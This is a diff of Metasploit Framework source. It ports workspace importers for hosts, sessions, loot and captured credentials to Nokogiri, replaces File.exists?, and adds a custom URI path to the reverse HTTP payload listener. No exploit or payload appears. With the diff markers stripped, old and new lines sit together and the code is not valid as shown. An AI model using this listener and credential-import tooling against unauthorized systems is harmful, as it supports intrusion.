if web.at(datum).respond_to? :text
info[datum.intern] = nils_for_nulls(web.at(datum).text.to_s.strip)
end
end
info[:options] = nils_for_nulls(unserialize_object(web.at("options"), allow_yaml)) if web.at("options").respond_to?(:text)
info[:ssl] = (info[:ssl] and info[:ssl].to_s.strip.downcase == "true") ? true : false
%W{created-at updated-at}.each { |datum|
if web.at(datum).text
info[datum.gsub("-","_")] = nils_for_nulls(web.at(datum).text.to_s.strip)
end
}
report_web_site(info)
yield(:web_site, "#{info[:host]}:#{info[:port]} (#{info[:vhost]})") if block
end
# Parses host Nokogiri::XML::Element
def parse_host(host, wspace, bl, allow_yaml, btag, args, &block)
host_data = {}
host_data[:task] = args[:task]
host_data[:workspace] = wspace
# A regression resulted in the address field being serialized in some cases.
# Lets handle both instances to keep things happy. See #5837 & #5985
addr = nils_for_nulls(host.at('address'))
return 0 unless addr
# No period or colon means this must be in base64-encoded serialized form
if addr !~ /[\.\:]/
addr = unserialize_object(addr)
end
host_data[:host] = addr
if bl.include? host_data[:host]
return 0
else
yield(:address,host_data[:host]) if block
end
host_data[:mac] = nils_for_nulls(host.at("mac").text.to_s.strip)
if host.at("comm").text
host_data[:comm] = nils_for_nulls(host.at("comm").text.to_s.strip)
end
%W{created-at updated-at name state os-flavor os-lang os-name os-sp purpose}.each { |datum|
if host.at(datum).text
host_data[datum.gsub('-','_')] = nils_for_nulls(host.at(datum).text.to_s.strip)
end
}
host_address = host_data[:host].dup # Preserve after report_host() deletes
hobj = report_host(host_data)
host.xpath("host_details/host_detail").each do |hdet|
hdet_data = {}
hdet.elements.each do |det|
return 0 if ["id", "host-id"].include?(det.name)
if det.text
hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
end
end
report_host_details(hobj, hdet_data)
end
host.xpath("exploit_attempts/exploit_attempt").each do |hdet|
hdet_data = {}
hdet.elements.each do |det|
return 0 if ["id", "host-id", "session-id", "vuln-id", "service-id", "loot-id"].include?(det.name)
if det.text
hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
end
end
report_exploit_attempt(hobj, hdet_data)
end
host.xpath('services/service').each do |service|
service_data = {}
service_data[:task] = args[:task]
service_data[:workspace] = wspace
service_data[:host] = hobj
service_data[:port] = nils_for_nulls(service.at("port").text.to_s.strip).to_i
service_data[:proto] = nils_for_nulls(service.at("proto").text.to_s.strip)
%W{created-at updated-at name state info}.each { |datum|
if service.at(datum).text
if datum == "info"
service_data["info"] = nils_for_nulls(unserialize_object(service.at(datum), false))
else
service_data[datum.gsub("-","_")] = nils_for_nulls(service.at(datum).text.to_s.strip)
end
end
}
report_service(service_data)
end
host.xpath('notes/note').each do |note|
note_data = {}
note_data[:workspace] = wspace
note_data[:host] = hobj
import_msf_note_element(note,allow_yaml,note_data)
end
host.xpath('tags/tag').each do |tag|
tag_data = {}
tag_data[:addr] = host_address
tag_data[:wspace] = wspace
tag_data[:name] = tag.at("name").text.to_s.strip
tag_data[:desc] = tag.at("desc").text.to_s.strip
if tag.at("report-summary").text
tag_data[:summary] = tag.at("report-summary").text.to_s.strip
end
if tag.at("report-detail").text
tag_data[:detail] = tag.at("report-detail").text.to_s.strip
end
if tag.at("critical").text
tag_data[:crit] = true unless tag.at("critical").text.to_s.strip == "NULL"
end
report_host_tag(tag_data)
end
host.xpath('vulns/vuln').each do |vuln|
vuln_data = {}
vuln_data[:workspace] = wspace
vuln_data[:host] = hobj
vuln_data[:info] = nils_for_nulls(unserialize_object(vuln.at("info"), allow_yaml))
vuln_data[:name] = nils_for_nulls(vuln.at("name").text.to_s.strip)
%W{created-at updated-at exploited-at}.each { |datum|
if vuln.at(datum) and vuln.at(datum).text
vuln_data[datum.gsub("-","_")] = nils_for_nulls(vuln.at(datum).text.to_s.strip)
end
}
if vuln.at("refs")
vuln_data[:refs] = []
vuln.xpath("refs/ref").each do |ref|
vuln_data[:refs] << nils_for_nulls(ref.text.to_s.strip)
end
end
vobj = report_vuln(vuln_data)
vuln.xpath("notes/note").each do |note|
note_data = {}
note_data[:workspace] = wspace
note_data[:vuln_id] = vobj.id
import_msf_note_element(note,allow_yaml,note_data)
end
vuln.xpath("vuln_details/vuln_detail").each do |vdet|
vdet_data = {}
vdet.elements.each do |det|
return 0 if ["id", "vuln-id"].include?(det.name)
if det.text
vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
end
end
report_vuln_details(vobj, vdet_data)
end
vuln.xpath("vuln_attempts/vuln_attempt").each do |vdet|
vdet_data = {}
vdet.elements.each do |det|
return 0 if ["id", "vuln-id", "loot-id", "session-id"].include?(det.name)
if det.text
vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
end
end
report_vuln_attempt(vobj, vdet_data)
end
end
## Handle old-style (pre 4.10) XML files
if btag == "MetasploitV4"
if host.at('creds').present?
unless host.at('creds').elements.empty?
origin = Metasploit::Credential::Origin::Import.create(filename: "console-import-#{Time.now.to_i}")
host.xpath('creds/cred').each do |cred|
username = cred.at('user').try(:text)
proto = cred.at('proto').try(:text)
sname = cred.at('sname').try(:text)
port = cred.at('port').try(:text)
# Handle blanks by resetting to sane default values
proto = "tcp" if proto.blank?
pass = cred.at('pass').try(:text)
pass = "" if pass == "*MASKED*"
private = create_credential_private(private_data: pass, private_type: :password)
public = create_credential_public(username: username)
core = create_credential_core(private: private, public: public, origin: origin, workspace_id: wspace.id)
create_credential_login(core: core,
workspace_id: wspace.id,
address: hobj.address,
port: port,
protocol: proto,
service_name: sname,
status: Metasploit::Model::Login::Status::UNTRIED)
end
end
end
end
host.xpath('sessions/session').each do |sess|
sess_id = nils_for_nulls(sess.at("id").text.to_s.strip.to_i)
sess_data = {}
sess_data[:host] = hobj
%W{desc platform port stype}.each {|datum|
if sess.at(datum).respond_to? :text
sess_data[datum.intern] = nils_for_nulls(sess.at(datum).text.to_s.strip)
end
}
%W{opened-at close-reason closed-at via-exploit via-payload}.each {|datum|
if sess.at(datum).respond_to? :text
sess_data[datum.gsub("-","_").intern] = nils_for_nulls(sess.at(datum).text.to_s.strip)
end
}
sess_data[:datastore] = nils_for_nulls(unserialize_object(sess.at("datastore"), allow_yaml))
if sess.at("routes")
sess_data[:routes] = nils_for_nulls(unserialize_object(sess.at("routes"), allow_yaml)) || []
end
if not sess_data[:closed_at] # Fake a close if we don't already have one
sess_data[:closed_at] = Time.now.utc
sess_data[:close_reason] = "Imported at #{Time.now.utc}"
end
existing_session = get_session(
:workspace => sess_data[:host].workspace,
:addr => sess_data[:host].address,
:time => sess_data[:opened_at]
)
this_session = existing_session || report_session(sess_data)
return 0 if existing_session
sess.xpath('events/event').each do |sess_event|
sess_event_data = {}
sess_event_data[:session] = this_session
%W{created-at etype local-path remote-path}.each {|datum|
if sess_event.at(datum).respond_to? :text
sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(sess_event.at(datum).text.to_s.strip)
end
}
%W{command output}.each {|datum|
if sess_event.at(datum).respond_to? :text
sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(unserialize_object(sess_event.at(datum), allow_yaml))
end
}
report_session_event(sess_event_data)
end
end
end
# Checks if the XML document has a format version that the importer
# understands.
#
# @param document [REXML::Document] a REXML::Document produced by
# {Msf::DBManager#rexmlify}.
# @param name [String] the root node name produced by
# {Nokogiri::XML::Reader#from_memory}.
# @return [Hash{Symbol => Object}] `:allow_yaml` is true if the format
# requires YAML loading when calling
# {Msf::DBManager#unserialize_object}. `:root_tag` the tag name of the
# root element for MSF XML.
# @raise [Msf::DBImportError] if unsupported format
def check_msf_xml_version!(document)
def check_msf_xml_version!(name)
metadata = {
# FIXME https://www.pivotaltracker.com/story/show/47128407
:allow_yaml => false,
:root_tag => nil
}
if document.elements['MetasploitExpressV1']
case name
when 'MetasploitExpressV1'
# FIXME https://www.pivotaltracker.com/story/show/47128407
metadata[:allow_yaml] = true
metadata[:root_tag] = 'MetasploitExpressV1'
elsif document.elements['MetasploitExpressV2']
when 'MetasploitExpressV2'
# FIXME https://www.pivotaltracker.com/story/show/47128407
metadata[:allow_yaml] = true
metadata[:root_tag] = 'MetasploitExpressV2'
elsif document.elements['MetasploitExpressV3']
when 'MetasploitExpressV3'
metadata[:root_tag] = 'MetasploitExpressV3'
elsif document.elements['MetasploitExpressV4']
when 'MetasploitExpressV4'
metadata[:root_tag] = 'MetasploitExpressV4'
elsif document.elements['MetasploitV4']
when 'MetasploitV4'
metadata[:root_tag] = 'MetasploitV4'
elsif document.elements['MetasploitV5']
when 'MetasploitV5'
metadata[:root_tag] = 'MetasploitV5'
end
@ -553,7 +564,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
# Retrieves text of element if it exists.
#
# @param parent_element [REXML::Element] element under which element with
# @param parent_element [Nokogiri::XML::Element] element under which element with
# `child_name` exists.
# @param child_name [String] the name of the element under
# `parent_element` whose text should be returned
@ -564,7 +575,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
# @return [nil] if element with `child_name` does not exist under
# `parent_element`.
def import_msf_text_element(parent_element, child_name)
child_element = parent_element.elements[child_name]
child_element = parent_element.at(child_name)
info = {}
if child_element
@ -577,10 +588,10 @@ module Msf::DBManager::Import::MetasploitFramework::XML
end
# Imports web_form, web_page, or web_vuln element using
# {Msf::DBManager#report_web_form}, {Msf::DBManager#report_web_page}, and
# {Msf::DBManager#report_web_vuln}, respectively.
# Msf::DBManager#report_web_form, Msf::DBManager#report_web_page, and
# Msf::DBManager#report_web_vuln, respectively.
#
# @param element [REXML::Element] the web_form, web_page, or web_vuln
# @param element [Nokogiri::XML::Element] the web_form, web_page, or web_vuln
# element.
# @param options [Hash{Symbol => Object}] options
# @option options [Boolean] :allow_yaml (false) Whether to allow YAML when
@ -593,7 +604,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
# (Msf::DBManager#workspace) workspace under which to report the
# imported record.
# @yield [element, options]
# @yieldparam element [REXML::Element] the web_form, web_page, or
# @yieldparam element [Nokogiri::XML::Element] the web_form, web_page, or
# web_vuln element passed to {#import_msf_web_element}.
# @yieldparam options [Hash{Symbol => Object}] options for parsing
# @yieldreturn [Hash{Symbol => Object}] info

View File

@ -10,22 +10,23 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
allow_yaml = false
btag = nil
doc = rexmlify(data)
if doc.elements["MetasploitExpressV1"]
doc = Nokogiri::XML::Reader.from_memory(data)
case doc.first.name
when "MetasploitExpressV1"
m_ver = 1
allow_yaml = true
btag = "MetasploitExpressV1"
elsif doc.elements["MetasploitExpressV2"]
when "MetasploitExpressV2"
m_ver = 2
allow_yaml = true
btag = "MetasploitExpressV2"
elsif doc.elements["MetasploitExpressV3"]
when "MetasploitExpressV3"
m_ver = 3
btag = "MetasploitExpressV3"
elsif doc.elements["MetasploitExpressV4"]
when "MetasploitExpressV4"
m_ver = 4
btag = "MetasploitExpressV4"
elsif doc.elements["MetasploitV4"]
when "MetasploitV4"
m_ver = 4
btag = "MetasploitV4"
else
@ -36,111 +37,121 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
end
host_info = {}
doc.elements.each("/#{btag}/hosts/host") do |host|
host_info[host.elements["id"].text.to_s.strip] = nils_for_nulls(host.elements["address"].text.to_s.strip)
end
# Import Loot
doc.elements.each("/#{btag}/loots/loot") do |loot|
next if bl.include? host_info[loot.elements["host-id"].text.to_s.strip]
loot_info = {}
loot_info[:host] = host_info[loot.elements["host-id"].text.to_s.strip]
loot_info[:workspace] = args[:wspace]
loot_info[:ctype] = nils_for_nulls(loot.elements["content-type"].text.to_s.strip)
loot_info[:info] = nils_for_nulls(unserialize_object(loot.elements["info"], allow_yaml))
loot_info[:ltype] = nils_for_nulls(loot.elements["ltype"].text.to_s.strip)
loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip)
loot_info[:created_at] = nils_for_nulls(loot.elements["created-at"].text.to_s.strip)
loot_info[:updated_at] = nils_for_nulls(loot.elements["updated-at"].text.to_s.strip)
loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip)
loot_info[:orig_path] = nils_for_nulls(loot.elements["path"].text.to_s.strip)
loot_info[:task] = args[:task]
tmp = args[:ifd][:zip_tmp]
loot_info[:orig_path].gsub!(/^\./,tmp) if loot_info[:orig_path]
if !loot.elements["service-id"].text.to_s.strip.empty?
unless loot.elements["service-id"].text.to_s.strip == "NULL"
loot_info[:service] = loot.elements["service-id"].text.to_s.strip
doc.each do |node|
if ['host', 'loot', 'task', 'report'].include?(node.name)
unless node.inner_xml.empty?
send("parse_zip_#{node.name}", Nokogiri::XML(node.outer_xml).at("./#{node.name}"), wspace, bl, allow_yaml, btag, args, basedir, host_info, &block)
end
end
end
end
# Only report loot if we actually have it.
# TODO: Copypasta. Separate this out.
if ::File.exists? loot_info[:orig_path]
loot_dir = ::File.join(basedir,"loot")
loot_file = ::File.split(loot_info[:orig_path]).last
if ::File.exists? loot_dir
unless (::File.directory?(loot_dir) && ::File.writable?(loot_dir))
raise Msf::DBImportError.new("Could not move files to #{loot_dir}")
end
else
::FileUtils.mkdir_p(loot_dir)
end
new_loot = ::File.join(loot_dir,loot_file)
loot_info[:path] = new_loot
if ::File.exists?(new_loot)
::File.unlink new_loot # Delete it, and don't report it.
else
report_loot(loot_info) # It's new, so report it.
end
::FileUtils.copy(loot_info[:orig_path], new_loot)
yield(:msf_loot, new_loot) if block
# Parses host Nokogiri::XML::Element
def parse_zip_host(host, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block)
host_info[host.at("id").text.to_s.strip] = nils_for_nulls(host.at("address").text.to_s.strip)
end
# Parses loot Nokogiri::XML::Element
def parse_zip_loot(loot, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block)
return 0 if bl.include? host_info[loot.at("host-id").text.to_s.strip]
loot_info = {}
loot_info[:host] = host_info[loot.at("host-id").text.to_s.strip]
loot_info[:workspace] = args[:wspace]
loot_info[:ctype] = nils_for_nulls(loot.at("content-type").text.to_s.strip)
loot_info[:info] = nils_for_nulls(unserialize_object(loot.at("info"), allow_yaml))
loot_info[:ltype] = nils_for_nulls(loot.at("ltype").text.to_s.strip)
loot_info[:name] = nils_for_nulls(loot.at("name").text.to_s.strip)
loot_info[:created_at] = nils_for_nulls(loot.at("created-at").text.to_s.strip)
loot_info[:updated_at] = nils_for_nulls(loot.at("updated-at").text.to_s.strip)
loot_info[:name] = nils_for_nulls(loot.at("name").text.to_s.strip)
loot_info[:orig_path] = nils_for_nulls(loot.at("path").text.to_s.strip)
loot_info[:task] = args[:task]
tmp = args[:ifd][:zip_tmp]
loot_info[:orig_path].gsub!(/^\./,tmp) if loot_info[:orig_path]
if !loot.at("service-id").text.to_s.strip.empty?
unless loot.at("service-id").text.to_s.strip == "NULL"
loot_info[:service] = loot.at("service-id").text.to_s.strip
end
end
# Import Tasks
doc.elements.each("/#{btag}/tasks/task") do |task|
task_info = {}
task_info[:workspace] = args[:wspace]
# Should user be imported (original) or declared (the importing user)?
task_info[:user] = nils_for_nulls(task.elements["created-by"].text.to_s.strip)
task_info[:desc] = nils_for_nulls(task.elements["description"].text.to_s.strip)
task_info[:info] = nils_for_nulls(unserialize_object(task.elements["info"], allow_yaml))
task_info[:mod] = nils_for_nulls(task.elements["module"].text.to_s.strip)
task_info[:options] = nils_for_nulls(task.elements["options"].text.to_s.strip)
task_info[:prog] = nils_for_nulls(task.elements["progress"].text.to_s.strip).to_i
task_info[:created_at] = nils_for_nulls(task.elements["created-at"].text.to_s.strip)
task_info[:updated_at] = nils_for_nulls(task.elements["updated-at"].text.to_s.strip)
if !task.elements["completed-at"].text.to_s.empty?
task_info[:completed_at] = nils_for_nulls(task.elements["completed-at"].text.to_s.strip)
end
if !task.elements["error"].text.to_s.empty?
task_info[:error] = nils_for_nulls(task.elements["error"].text.to_s.strip)
end
if !task.elements["result"].text.to_s.empty?
task_info[:result] = nils_for_nulls(task.elements["result"].text.to_s.strip)
end
task_info[:orig_path] = nils_for_nulls(task.elements["path"].text.to_s.strip)
tmp = args[:ifd][:zip_tmp]
task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path]
# Only report a task if we actually have it.
# TODO: Copypasta. Separate this out.
if ::File.exists? task_info[:orig_path]
tasks_dir = ::File.join(basedir,"tasks")
task_file = ::File.split(task_info[:orig_path]).last
if ::File.exists? tasks_dir
unless (::File.directory?(tasks_dir) && ::File.writable?(tasks_dir))
raise Msf::DBImportError.new("Could not move files to #{tasks_dir}")
end
else
::FileUtils.mkdir_p(tasks_dir)
# Only report loot if we actually have it.
# TODO: Copypasta. Separate this out.
if ::File.exist? loot_info[:orig_path]
loot_dir = ::File.join(basedir,"loot")
loot_file = ::File.split(loot_info[:orig_path]).last
if ::File.exist? loot_dir
unless (::File.directory?(loot_dir) && ::File.writable?(loot_dir))
raise Msf::DBImportError.new("Could not move files to #{loot_dir}")
end
new_task = ::File.join(tasks_dir,task_file)
task_info[:path] = new_task
if ::File.exists?(new_task)
::File.unlink new_task # Delete it, and don't report it.
else
report_task(task_info) # It's new, so report it.
end
::FileUtils.copy(task_info[:orig_path], new_task)
yield(:msf_task, new_task) if block
else
::FileUtils.mkdir_p(loot_dir)
end
new_loot = ::File.join(loot_dir,loot_file)
loot_info[:path] = new_loot
if ::File.exist?(new_loot)
::File.unlink new_loot # Delete it, and don't report it.
else
report_loot(loot_info) # It's new, so report it.
end
::FileUtils.copy(loot_info[:orig_path], new_loot)
yield(:msf_loot, new_loot) if block
end
end
# Import Reports
doc.elements.each("/#{btag}/reports/report") do |report|
import_report(report, args, basedir)
# Parses task Nokogiri::XML::Element
def parse_zip_task(task, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block)
task_info = {}
task_info[:workspace] = args[:wspace]
# Should user be imported (original) or declared (the importing user)?
task_info[:user] = nils_for_nulls(task.at("created-by").text.to_s.strip)
task_info[:desc] = nils_for_nulls(task.at("description").text.to_s.strip)
task_info[:info] = nils_for_nulls(unserialize_object(task.at("info"), allow_yaml))
task_info[:mod] = nils_for_nulls(task.at("module").text.to_s.strip)
task_info[:options] = nils_for_nulls(task.at("options").text.to_s.strip)
task_info[:prog] = nils_for_nulls(task.at("progress").text.to_s.strip).to_i
task_info[:created_at] = nils_for_nulls(task.at("created-at").text.to_s.strip)
task_info[:updated_at] = nils_for_nulls(task.at("updated-at").text.to_s.strip)
if !task.at("completed-at").text.to_s.empty?
task_info[:completed_at] = nils_for_nulls(task.at("completed-at").text.to_s.strip)
end
if !task.at("error").text.to_s.empty?
task_info[:error] = nils_for_nulls(task.at("error").text.to_s.strip)
end
if !task.at("result").text.to_s.empty?
task_info[:result] = nils_for_nulls(task.at("result").text.to_s.strip)
end
task_info[:orig_path] = nils_for_nulls(task.at("path").text.to_s.strip)
tmp = args[:ifd][:zip_tmp]
task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path]
# Only report a task if we actually have it.
# TODO: Copypasta. Separate this out.
if ::File.exist? task_info[:orig_path]
tasks_dir = ::File.join(basedir,"tasks")
task_file = ::File.split(task_info[:orig_path]).last
if ::File.exist? tasks_dir
unless (::File.directory?(tasks_dir) && ::File.writable?(tasks_dir))
raise Msf::DBImportError.new("Could not move files to #{tasks_dir}")
end
else
::FileUtils.mkdir_p(tasks_dir)
end
new_task = ::File.join(tasks_dir,task_file)
task_info[:path] = new_task
if ::File.exist?(new_task)
::File.unlink new_task # Delete it, and don't report it.
else
report_task(task_info) # It's new, so report it.
end
::FileUtils.copy(task_info[:orig_path], new_task)
yield(:msf_task, new_task) if block
end
end
# Parses report Nokogiri::XML::Element
def parse_zip_report(report, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block)
import_report(report, args, basedir)
end
# Import a Metasploit Express ZIP file. Note that this requires
@ -156,7 +167,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
new_tmp = ::File.join(Dir::tmpdir,"msf","imp_#{Rex::Text::rand_text_alphanumeric(4)}",@import_filedata[:zip_basename])
if ::File.exists? new_tmp
if ::File.exist? new_tmp
unless (::File.directory?(new_tmp) && ::File.writable?(new_tmp))
raise Msf::DBImportError.new("Could not extract zip file to #{new_tmp}")
end
@ -172,7 +183,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
# already exist
@import_filedata[:zip_tmp_subdirs].each {|sub|
tmp_subdirs = ::File.join(@import_filedata[:zip_tmp],sub)
if File.exists? tmp_subdirs
if File.exist? tmp_subdirs
unless (::File.directory?(tmp_subdirs) && File.writable?(tmp_subdirs))
# if it exists but we can't write to it, give up
raise Msf::DBImportError.new("Could not extract zip file to #{tmp_subdirs}")
@ -198,7 +209,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
Dir.entries(@import_filedata[:zip_tmp]).each do |entry|
if entry =~ /^.*#{Regexp.quote(Metasploit::Credential::Exporter::Core::CREDS_DUMP_FILE_IDENTIFIER)}.*/
manifest_file_path = File.join(@import_filedata[:zip_tmp], entry, Metasploit::Credential::Importer::Zip::MANIFEST_FILE_NAME)
if File.exists? manifest_file_path
if File.exist? manifest_file_path
import_msf_cred_dump(manifest_file_path, wspace)
end
end

View File

@ -196,8 +196,8 @@ module Msf::DBManager::Import::Nexpose::Raw
# Takes an array of vuln hashes, as returned by the NeXpose rawxml stream
# parser, like:
# [
# {"id"=>"winreg-notes-protocol-handler", severity="8", "refs"=>[{"source"=>"BID", "value"=>"10600"}, ...]}
# {"id"=>"windows-zotob-c", severity="8", "refs"=>[{"source"=>"BID", "value"=>"14513"}, ...]}
# "id"=>"winreg-notes-protocol-handler", severity="8", "refs"=>["source"=>"BID", "value"=>"10600", ...]
# "id"=>"windows-zotob-c", severity="8", "refs"=>["source"=>"BID", "value"=>"14513", ...]
# ]
# and transforms it into a struct, containing :id, :refs, :title, and :severity
#
@ -227,4 +227,4 @@ module Msf::DBManager::Import::Nexpose::Raw
end
return ret
end
end
end

View File

@ -329,7 +329,7 @@ module Msf::DBManager::ModuleCache
next
end
unless md.file and ::File.exists?(md.file)
unless md.file and ::File.exist?(md.file)
refresh << md
next
end

View File

@ -23,7 +23,7 @@ module Msf::DBManager::Report
created = opts.delete(:created_at)
updated = opts.delete(:updated_at)
unless File.exists? tmp_path
unless File.exist? tmp_path
raise Msf::DBImportError 'Report artifact file to be imported does not exist.'
end
@ -31,7 +31,7 @@ module Msf::DBManager::Report
raise Msf::DBImportError "Could not move report artifact file to #{artifacts_dir}."
end
if File.exists? new_path
if File.exist? new_path
unique_basename = "#{(Time.now.to_f*1000).to_i}_#{artifact_name}"
new_path = File.join(artifacts_dir, unique_basename)
end

View File

@ -33,7 +33,7 @@ module Msf::DBManager::Session
# :session host is contained. Also used as the workspace for the
# Mdm::ExploitAttempt and Mdm::Vuln. Defaults to Mdm::Worksapce with
# Mdm::Workspace#name equal to +session.workspace+.
# @return [nil] if {Msf::DBManager#active} is +false+.
# @return [nil] if Msf::DBManager#active is +false+.
# @return [Mdm::Session] if session is saved
# @raise [ArgumentError] if :session is not an {Msf::Session}.
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
@ -68,7 +68,7 @@ module Msf::DBManager::Session
# exploit that was used to open the session.
# @option option [String] :via_payload the {MSf::Module#fullname} of the
# payload sent to the host when the exploit was successful.
# @return [nil] if {Msf::DBManager#active} is +false+.
# @return [nil] if Msf::DBManager#active is +false+.
# @return [Mdm::Session] if session is saved.
# @raise [ArgumentError] if :host is not an Mdm::Host.
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
@ -103,7 +103,7 @@ module Msf::DBManager::Session
protected
# @param session [Msf::Session] A session with a {db_record Msf::Session#db_record}
# @param session [Msf::Session] A session with a db_record Msf::Session#db_record
# @param wspace [Mdm::Workspace]
# @return [void]
def infer_vuln_from_session(session, wspace)

View File

@ -537,7 +537,7 @@ protected
#
def find_context_key(buf, badchars, state)
# Make sure our context information file is sane
if !File.exists?(datastore['ContextInformationFile'])
if !File.exist?(datastore['ContextInformationFile'])
raise NoKeyError, "A context information file must specified when using context encoding", caller
end

View File

@ -409,8 +409,8 @@ module Msf
# Checks if the module is multi-platform based on the directory path.
#
# @param m [Object] Module.
# @return Module [TrueClass] is multi-platform.
# @return Module [FalseClass] is not multi-platform.
# @return [TrueClass] is multi-platform.
# @return [FalseClass] is not multi-platform.
def is_multi_platform_exploit?(m)
m.fullname.include?('multi/')
end

View File

@ -110,7 +110,7 @@ module Msf
cap = datastore['PCAPFILE'] || ''
if (not cap.empty?)
if (not File.exists?(cap))
if (not File.exist?(cap))
raise RuntimeError, "The PCAP file #{cap} could not be found"
end
self.capture = ::Pcap.open_offline(cap)
@ -216,7 +216,7 @@ module Msf
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)"
end
if (not File.exists?(pcap_file))
if (not File.exist?(pcap_file))
raise RuntimeError, "The PCAP file #{pcap_file} could not be found"
end

View File

@ -47,7 +47,7 @@ module Exploit::Java
end
toolsjar = File.join(ENV['JAVA_HOME'], "lib", "tools.jar")
if (not File.exists? toolsjar)
if (not File.exist? toolsjar)
raise RuntimeError, 'JAVA_HOME does not point to a valid JDK installation.'
end
@ -69,7 +69,7 @@ module Exploit::Java
def save_to_file(classnames, codez, location)
path = File.join( Msf::Config.install_root, "external", "source", location )
if not File.exists? path
if not File.exist? path
Dir.mkdir(path)
end
@ -96,7 +96,7 @@ module Exploit::Java
compile_options = [] if compile_options.nil?
# Create the directory if it doesn't exist
Dir.mkdir(datastore['JavaCache']) if !File.exists? datastore['JavaCache']
Dir.mkdir(datastore['JavaCache']) if !File.exist? datastore['JavaCache']
# For compatibility, some exploits need to have the target and source version
# set to a previous JRE version.
@ -157,7 +157,7 @@ module Exploit::Java
# Check if the keystore exists from previous run. If it does, delete it.
msf_keystore = File.join(datastore['JavaCache'], msf_keystore)
File.delete msf_keystore if File.exists? msf_keystore
File.delete msf_keystore if File.exist? msf_keystore
# Rjb pukes on a CN with a comma in it so bad that it crashes to shell
# and turns input echoing off. Simple fix for this ugly bug is

View File

@ -167,7 +167,13 @@ module Exploit::Remote::Postgres
when "C42883"
sql_error_msg += " Function does not exist: '#{sql}'"
else # Let the user figure out the rest.
sql_error_msg += " SQL statement '#{sql}' returns #{e.inspect}"
if e == Timeout::Error
sql_error_msg = 'Execution expired'
elsif sql_error_msg.nil?
sql_error_msg = e.inspect
else
sql_error_msg += " SQL statement '#{sql}' returns #{e.inspect}"
end
end
return {:sql_error => sql_error_msg}
end

View File

@ -73,10 +73,10 @@ module Msf
'vuln_test', # Example: "if(window.MyComponentIsInstalled)return true;",
# :activex is a special case.
# When you set this requirement in your module, this is how it should be:
# [{:clsid=>'String', :method=>'String'}]
# [:clsid=>'String', :method=>'String']
# Where each Hash is a test case
# But when BES receives this information, the JavaScript will return this format:
# "{CLSID}=>Method=>Boolean;"
# "CLSID=>Method=>Boolean;"
# Also see: #has_bad_activex?
'activex'
])
@ -216,7 +216,7 @@ module Msf
# Returns true if there's a bad ActiveX, otherwise false.
# @param ax [String] The raw activex the JavaScript detection will return in this format:
# "{CLSID}=>Method=>Boolean;"
# "CLSID=>Method=>Boolean;"
# @return [Boolean] True if there's a bad ActiveX, otherwise false
def has_bad_activex?(ax)
ax.to_s.split(';').each do |a|

View File

@ -46,7 +46,8 @@ module ReverseHttp
register_options(
[
OptString.new('LHOST', [true, 'The local listener hostname']),
OptPort.new('LPORT', [true, 'The local listener port', 8080])
OptPort.new('LPORT', [true, 'The local listener port', 8080]),
OptString.new('LURI', [false, 'The HTTP Path', ''])
], Msf::Handler::ReverseHttp)
register_advanced_options(
@ -65,7 +66,8 @@ module ReverseHttp
def print_prefix
if Thread.current[:cli]
super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) "
luri = datastore['LURI'].empty? ? "" : "-> (#{datastore['LURI']}) "
super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}#{luri}; (UUID: #{uuid.to_s}) "
else
super
end
@ -76,7 +78,7 @@ module ReverseHttp
# @return [String] A URI of the form +scheme://host:port/+
def listener_uri(addr=datastore['LHOST'])
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
"#{scheme}://#{uri_host}:#{bind_port}/"
"#{scheme}://#{uri_host}:#{bind_port}#{luri}/"
end
# Return a URI suitable for placing in a payload.
@ -103,10 +105,10 @@ module ReverseHttp
callback_host = "#{callback_name}:#{callback_port}"
end
"#{scheme}://#{callback_host}/"
"#{scheme}://#{callback_host}"
end
# Use the {#refname} to determine whether this handler uses SSL or not
# Use the #refname to determine whether this handler uses SSL or not
#
def ssl?
!!(self.refname.index('https'))
@ -120,6 +122,27 @@ module ReverseHttp
(ssl?) ? 'https' : 'http'
end
#
# The local URI for the handler.
#
# @return [String] Representation of the URI to listen on.
#
def luri
l = datastore['LURI'] || ""
if l && l.length > 0 && l[0] != '/'
# make sure the luri has the prefix
l = "/#{l}"
# but not the suffix
if l[-1] == '/'
l = l[0...-1]
end
end
l.dup
end
# Create an HTTP listener
#
def setup_handler
@ -158,7 +181,7 @@ module ReverseHttp
obj = self
# Add the new resource
service.add_resource("/",
service.add_resource(luri + "/",
'Proc' => Proc.new { |cli, req|
on_request(cli, req, obj)
},
@ -178,7 +201,7 @@ module ReverseHttp
#
def stop_handler
if self.service
self.service.remove_resource('/')
self.service.remove_resource(luri + "/")
if self.service.resources.empty? && self.sessions == 0
Rex::ServiceManager.stop_service(self.service)
end
@ -241,12 +264,15 @@ protected
uuid.arch ||= obj.arch
uuid.platform ||= obj.platform
conn_id = nil
conn_id = luri
if info[:mode] && info[:mode] != :connect
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
